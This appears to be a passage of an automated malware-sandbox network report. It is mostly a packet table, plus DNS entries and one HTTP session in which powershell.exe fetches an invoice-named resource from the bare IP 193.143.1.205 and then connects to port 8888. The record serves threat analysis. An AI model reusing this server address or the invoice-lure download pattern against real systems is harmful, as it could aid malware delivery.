Jan 11, 2025 09:08:24.421169043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421180010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421192884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421200037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421200037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421202898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421216011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421226978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421236992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421247959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421250105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421260118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421287060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421313047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421472073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421689987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421701908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421711922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421722889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421732903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421739101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421745062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421756983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421766996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421777010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421777010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421777964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421789885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421802044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421812057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421824932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421827078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421827078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421835899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421847105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421859026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421869993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421875954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421875954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421883106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421895027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421947002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421947002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.422317982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.422332048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.422408104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.425625086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.453973055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454029083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454062939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454108953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454113007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454149008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454180956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454216003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454231024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454252005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454266071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454298973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454330921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454364061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454380035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454380035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454412937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454446077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454479933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454513073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454516888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454516888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454546928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454580069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454590082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.454616070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454648018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.454824924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475440979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475476027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475524902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475558996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475584984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475584984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475606918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475641966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475646973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475677013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475711107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475728989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475759983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475792885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475821972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475852966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475855112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475884914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.475888014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475923061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475949049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475964069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.475967884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.476125002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.481167078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.497900963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.509738922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.509777069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.509787083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.509794950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.509829044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.509840012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.509851933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.509875059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.509875059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510029078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510041952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510051966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510063887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510063887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510076046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510118008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510118008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510142088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510154009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510165930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510175943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510204077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510284901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510294914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510304928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510315895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510317087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510349989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510349989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510435104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510446072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510457039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510468960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510479927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510504961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510504961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510565996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510622025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510636091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510647058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510658026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510668993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510703087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510703087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510863066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510874033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510884047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510895967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510905981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510911942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.510937929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.510998011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511008978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511035919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511035919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511209011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511224031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511234999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511245012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511255980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511265993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511270046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511276960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511288881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511301041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511321068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511321068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511336088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511481047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511492968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511503935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511514902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511522055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511527061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511538982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511550903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511565924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511565924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511590958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511794090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511805058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511816025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511852026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511936903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511948109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511959076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511969090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511979103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511990070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.511996984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.511996984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512001038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512012959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512022972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512032986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512043953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512053967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512058973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512058973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512065887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512078047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512099981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512099981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512578964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512589931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512599945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512610912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512615919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512622118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512634039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512645006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512655020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512655973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512655973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512666941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512676954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512687922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512696981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512696981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512697935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512712002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512722015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512731075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.512743950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512743950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.512945890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.528645039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544485092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544526100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544537067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544703007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544713020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544723988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544734001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544763088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544763088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544770956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544783115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544795036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544805050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544805050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544805050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544819117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544832945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544944048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544955969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.544996023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.544996023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.565949917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.565972090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.565983057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566044092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566107988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566119909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566138983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566148996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566160917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566184044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566184044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566248894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566328049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566339016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566349983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566376925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566387892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566395998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566399097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.566446066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566446066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.566505909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600485086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600503922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600516081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600584030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600600004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600611925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600625038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600636005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600653887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600653887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600732088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600737095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600749969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600760937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600770950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600781918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600785017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600795031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600805998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600809097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600819111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.600836992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.600883961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.640415907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.749300003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:25.114873886 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:25.119934082 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:25.120064974 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:25.120260954 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:25.125045061 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:25.890678883 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:25.932702065 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:26.537947893 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:08:32.669922113 CET	59287	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:08:32.669922113 CET	192.168.2.8	1.1.1.1	0x36c3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:08:32.678719044 CET	1.1.1.1	192.168.2.8	0x36c3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:08:33.382031918 CET	1.1.1.1	192.168.2.8	0xc0ff	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:08:33.382031918 CET	1.1.1.1	192.168.2.8	0xc0ff	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:09:39.212940931 CET	1.1.1.1	192.168.2.8	0x3f29	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:09:39.212940931 CET	1.1.1.1	192.168.2.8	0x3f29	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	8016	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:08:23.028979063 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:08:23.829066038 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:08:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 